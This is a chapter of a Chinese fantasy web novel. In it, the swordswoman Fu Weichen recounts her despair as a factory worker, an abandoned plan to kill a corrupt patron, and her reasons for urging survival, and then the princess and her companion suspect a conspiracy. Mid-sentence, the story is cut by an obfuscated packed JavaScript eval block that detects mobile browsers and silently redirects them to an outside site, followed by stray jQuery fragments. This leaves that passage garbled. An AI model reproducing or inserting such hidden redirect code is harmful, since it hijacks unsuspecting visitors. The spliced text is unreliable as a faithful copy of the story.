“我又打了6年工,浑浑噩噩地重复每一天,我甚至希望机械来替代我,或者我明天就暴毙。我不明白活着有什么意义,是为了让线长找机会辱骂我吗?是为了做一枚流水线上的螺丝钉吗?是为了垫在社会的最底层,让上层人看笑话找优越感吗?”
“一想到这样的生活还要持续30年,直到我麻木为止,我就痛苦到想自杀。我不明白人的寿命为什么这么长,长到像一场无边的刑罚。”
付微尘打了个比方:“时间是一座灼热的熔炉,人类的生命如同被炙烤的肥厚膏脂,在昼夜轮转中不可逆地消融,对外界的知觉被时间残忍地凌迟。”
“我麻木地工作,麻木地练剑,连对剑的感知都被一片片凌迟掉了。我似乎不再喜欢剑,不想做剑仙,但让我说自己想做什么,我又说不上来。”
她不再笑,眼中的温和也荡然无存,回忆将她拉回曾经暗无天日的时光:“那段时间我很喜欢在网上浏览延长寿命的手段——很贵的那种,比如万化仙宗的顶级仙丹,非想非非想的换脑实验,甚至还有人想去曙光基地变成有理智的丧尸。”
“我挨个点进他们的社交账号,研究他们的生活。我想知道他们为什么执拗地活着,一辈子都活不够,竟然想活得更久,他们是受/虐/狂吗?”
风从训练场倒塌的豁口吹进来,盈满付微尘的袍袖,她上了点年纪,不如年轻时壮实,穿着灰袍的身影在寒风中茕茕孑立。
她说:“然后我发现了所有疑问的根源——阶级导致的资源极度倾斜。”
“那个怕死怕到宁愿变成丧尸的人,正是厂长‘背后的人’。他像我一样毫无天赋,却因父母均为万化仙宗内门弟子,在炼器峰谋到一个管事的职位,靠给代工厂授权赚够能花到下辈子的钱,富足到思考能不能变成丧尸永生。”
付微尘微微一笑:“我再次辞职,把剑保养妥当,踏上去万化仙宗的旅程。”
“我要杀了他。”
30. 撞风车的疯子
“实际上,我不知道自己为什么要杀他。现在看来,我只是把他当成一个假想敌、问题的具象化或阶级的代表性人物。当时的我需要一个这样的人来唤醒麻木的神经。”
付微尘垂着眼皮,眼角有明显的细纹,那是时间雕刻出来的痕迹,是她口中的凌迟之刑。
她突然转移话题:“女皇冕下说的是剑招,殿下。”
凄辞暮疑惑地看着她。
“剑招不是学出来的,是练出来的,是悟出来的。”
那天卫圣婴与付微尘先后被召到通天塔议事,女皇命令付微尘顺手教一下公主,并说:“不知道公主在想什么,剑这东西又不是学出来的。”
“您看。”付微尘用粗糙的手虚虚捂住凄辞暮手上的伤,“生添寿并不是我教给您,而是您自己悟出来的。但您如果没有前6年的基础,剑招的威力不可能这么大。”
她不等凄辞暮说话,继续讲她的故事:“我跨越大半个维度,尽量不用交通工具,徒步走到万化仙宗,一方面是为了省钱,另一方面想在死前多看看世界。”
“我看到了真正宏伟壮丽的东西,超越时间、超越寿命、超越人力的那种。”付微尘叹息,“万化维度的景色确实壮丽,我看到了峡谷中的大瀑布,轰鸣的水流间横跨着一道道彩虹;我看到了彩虹山脉般的条纹岩层;我还看到巨人般的冰墙和湖面交汇在一起。”
“但是,我不是在旅途中领悟生添寿的。”
她停顿片刻,释然般说道:“我在山脚下堵住‘背后的人’,说自己是代工厂的工人,让他猜猜我是来做什么的。”
“他说:‘来要订单的?别替你们厂长干活了,你有100万吗?转到这个账户里,我立刻把单子给你做,授权也帮你搞定!’”
“我问他,你的钱还不够多吗?他说谁会嫌钱少呢?比他有钱有权的人多得是,他想要的东西以现在的资产也买不来。”
付微尘再次摸了摸凄辞暮的头:“于是我放弃杀他,并领悟出生添寿。”
“因为我要杀的不是他,是更宏伟的东西。”付微尘低低地笑,像是在吟诵她的定场诗:
“我的敌人是千千万万个他,我需要千千万万个我。我漫长的生命一下子有了意义,我要把自己先锤炼成能对敌的样子,然后教导出更多的我。”
“世界上没有绝对的公平,但我要制造相对的公平,第一步就是打开上升的通道,我要挑战卫圣婴。”
“啊?”凄辞暮以为她在开玩笑。
“哈哈哈哈哈当然不可能,我连山门都进不去。”付微尘放声大笑,“我年轻时像骑马撞风车的疯子,别人无法理解我,我自己也无法理解。不过有人看中我的疯劲,愿意赞助我一笔钱,让我边拍视频边学剑,顺便帮她打广告。”
“不会吧?”凄辞暮有种不好的预感,“卖十全大补丹的老板?”
“对,就是她。”付微尘痛快承认了,“然后我才意识到自己的浅薄,我前12年练的都不对,空有厉害的剑招,底子却稀烂无比,被飞羽门的掌门一招揍趴下,爬都爬不起来。”
“后面的故事您都知道,我重新学剑,重新认识世界。我发现我一直抵触的人际关系好像也不难,我的思维确实过于情绪化,有很多缺点需要改正。”
凄辞暮呆呆地听着,觉得不可思议:“结束了?没有获得奇遇,没有高人指点,只有你自己练习?”
“边挑战边做视频边练习。”付微尘含笑纠正她。
“没有后续了?厂长呢?‘背后的人’呢?你现在是剑仙了,你不回到他们面前证明自己吗,不像小说中那样让他们后悔吗?”
“没有必要,殿下,他们只是我生命历程中的一部分,我不必向他们证明自己。而且炼器峰几年前就全面启用机械自动化生产,从非想非非想引进的生产线,AI替代所有人力,从管事到代工厂全部被裁。”
“厂长还想攒钱买奴隶替代自由民员工……”凄辞暮还在回味故事。
“铺垫了这么多,我终于可以告诉您我不愿为任侠流泪的理由。”付微尘郑重地说,“因为我觉得他做错了选择,他死得太草率,不该为这种小事而死,我作为他的师父很失望。”
“小事?”凄辞暮抬高声音,“怎么可能是小事?他不死,也会被判处死刑!”
“不会的。”付微尘肯定地说,“您不了解高院那些贵族出身的法官,比起死刑,他们更愿意先判个死缓,然后慢慢减刑,让任侠作为奴隶度过余生,以此展现从母法的威严,震慑他人。”
“你难道想让任侠作为奴隶被侮辱一辈子吗?”
“那又怎么样呢,殿下?第一步是先活着。”
“他做奴隶还不如死了!”
“向前迈出一步的勇气固然可敬,但退后一步的隐忍更是难得。”
凄辞暮简直想开口讽刺了,退后一步?让他像你一样厚着脸皮成为笑料吗?你自己都不愿意做了,你的视频都停更了!
“还是说。”付微尘的声音低沉下来,“让他的死成为一个奇观,成为小说中的段落,成为您领悟剑招的工具,比他的生命和他的未来更重要吗?”
这句话足以构成冒犯公主的罪名,如果被旁人听见,付微尘明天就能被逐出黄金城。
但凄辞暮并没有生气,她反而很难过,她问:“老师,我在您眼里是这样的人吗?我不觉得自己的想法有错。”
“唉——”付微尘长长地叹气。
她单膝跪下,拉住凄辞暮的手,用温和的笑容和期盼的眼神看着她的学生,她说:“殿下,我的小殿下,请不要难过,那不是您的错。”
“我从底层而来,见过各种各样的人。上层的高位者们把‘情绪化’三个字当做最大的侮辱,他们看似能自控,永远端庄优雅,实际上极度自私,只看重自己的利益。”
“那位‘背后的人’就是这样,他一句把订单给我做,足够毁掉厂长和厂子里所有人,但他不在乎,他的逻辑里只有他自己。”
凄辞暮更难过了:“我是这样的人吗?”
“您不是,殿下,我的小殿下,您一直全力抵抗他们把您教导成这样的人。”付微尘攥紧她的手,像是想传递什么力量。
“而我,一个底层人。我一直不能摆脱自己的缺点,我过于情绪化,连领悟剑招都靠大起大落的情绪,情绪消耗我过多的精力,主导我的一生。”
“再比如任巧妹,她困在孕期的嫉妒和愤怒中,把可以翻篇的事闹了整整十年。最终,嫉妒和愤怒被她锻造成旁人无法理解的恨意,不断伤害她的两个孩子。”
“可是她后悔了。”凄辞暮说,“她扑上去阻止阿曼达伤害任侠的遗体。”
“因为她见识到外面的世界,她看到了宏大的东西和超出她理解范围的上层人。”付微尘放开凄辞暮的手,“您也要出去看看呀,去看万年不化的冰川,去看真正的底层生活。任巧妹向上看,您要向下看。”
“我该怎么出去呢?”凄辞暮的声音小到像在自言自语。
付微尘没有回答她。
“冰川真的很大吗?”
“很大很大,表层还有冰冻的尸体,逃奴们曾尝试在极寒之地苟活,可惜失败了。”
“底层真的很苦吗?”
“不全是苦的,人是最擅长苦中作乐的种族。”
凄辞暮沉默很久,然后问:“那些冰川,以你的剑术能一剑劈开吗?”
“殿下,”付微尘再次叹息,“我面对冰川时,第一个想法不是劈开它。”
凄辞暮没有听懂。
“没关系的,小殿下。”付微尘站起身安慰她,“您看,那些小说里的情节总是有转折,您现在的生活就是转折前。总有一天,您会迎来那个转折点,即使后续的故事再荒谬,也请您坚持下去。”
“而我要和您暂时分别了。”付微尘的一袭灰袍被吹得猎猎作响,她郑重地拱手行礼,身体前倾,眼中带有浓浓的不舍。
“老师要走了?”
“出了从母案,他们有的是法子把我赶出黄金城。”
“我一会去看望任巧妹,顺便把任平安带走,那是个好孩子,不应该被牵连进无限的恩怨中。”付微尘说,“下午我去面见女皇,把事情从头叙述一遍
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096211|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,然后离开黄金城专心建学校。”
她叮嘱:“从母案结案了,请殿下不要再关注案子,想必任侠如果还在世,也不希望您过于挂怀。”
付微尘告辞了,晚上,凄辞暮和阿草一起蜷缩在秘密基地中,两个人沉默地躺在地毯上。准确地说,凄辞暮躺在地毯上,阿草躺在她肚皮上。
“所以付微尘真的不知道任侠的出身?”阿草突然问。
“她知道。”
“可任侠都用道心发誓了。”
“任侠很聪明,他说尸体是他买的,付微尘不知道,但他没说付微尘不知道其他事。”
阿草很快反应过来:“所以付微尘知道他是奴隶,知道他和尸体的关系!”
“唯独不知道他的家庭情况。”凄辞暮无奈地说,“任侠肯定也不愿意说,他不想让师父知道自己有那样一位养母,不过谁能想到任巧妹会敲响血誓钟呢?”
“不对呀。”阿草突然从凄辞暮的肚皮上跳起来,在狭小的秘密基地里踱步。
“完全不对!”阿草喊。
“怎么了?”
“任巧妹怎么知道血誓钟?”
凄辞暮耸肩:“小学历史课本里有荆棘法庭的照片,章节叫《黄金城的建立》。网上也能看到,荆棘法庭不闭合时可以进去拍照,是著名景点。”
“她知道荆棘法庭很正常,她从哪知道法庭外有座血誓钟,而且还知道详细用法。我不知道血誓钟,我从前认识的人也都不知道。即使从网上看见照片,也以为是景点的装饰品。”
凄辞暮摩挲下巴。
“殿下,你是从哪里知道血誓钟的?”
“很小的时候,上一任礼仪老师为了哄我上课给我讲故事,后来她退休了……”
凄辞暮猛然反应过来,血誓钟似乎是一个仅限于黄金城上流社交圈的故事,是一个心照不宣的秘密。
他们对视一眼,异口同声说:“有人煽动任巧妹!”
“很奇怪,我不觉得是巧合。”凄辞暮说,“一切像被提前安排好,给任巧妹打扫干净舞台。付微尘从昨晚就不在黄金城,今早都没赶回来;血誓钟一响,激进派好像早已知道案情,立刻安排阿曼达做审判员;母皇下令即刻开庭,连律师都不给请……”
阿草说:“案件结束后,付微尘急匆匆离开黄金城,比起被赶走,更像出去避风头。”
“我被她讲的故事吸引,都忘了问她早晨为什么不来上课。”
两个人陷入沉默,都在思考整起事件的经过。
“如果,我是说如果。”阿草坐得端正,四只脚爪并拢在一起,“有人昨天晚上就知道任侠的事呢?”
“怎么可能?任侠连他师父都不告诉!”
阿草坐得更直了:“我是说如果。”
一阵寒意爬上凄辞暮的后背,如果从昨晚任巧妹出现在中央大街开始谋划,那么时间完全够用,所有“巧合”都有了解释。
“尼尔是不是知道什么?”阿草问。
“怎么可能?任侠当时只是脸色发白地跑出去,尼尔又不是三流侦探小说的主角,能凭借一个人的脸色胡乱编造真相。”
“尼尔会不会把任侠的异样告诉别人,比如他姐姐阿曼达,然后阿曼达去找任巧妹。任巧妹那副神经质的样子,说不定当场把任侠的身世全告诉阿曼达,再被阿曼达怂恿敲血誓钟。”
凄辞暮皱眉:“我不觉得是尼尔,一方面,提尔雷普姐弟的关系没那么好,而且他们当时都自身难保;另一方面,尼尔离开前和我说的那番话很真诚,他不——阿草你怎么了?”
原本站得直直的阿草像被抽走灵魂,软趴趴地倒在地上,变成毛绒玩具一样的小比格。同时,空间突然被整个颠倒,毛绒玩具和凄辞暮一起摔在秘密基地的天花板上。
她毫不犹豫地按住埋在手背真皮层下的芯片,呼唤救援。
“会长。”救援接通了,不是丹玛斯,是一道沙哑却柔和的女声:“很抱歉打扰您和阿草先生的记忆回想,白良先生的紧急通讯,他要求您本人接通。”
抱着毛绒玩具的凄辞暮睁开眼睛。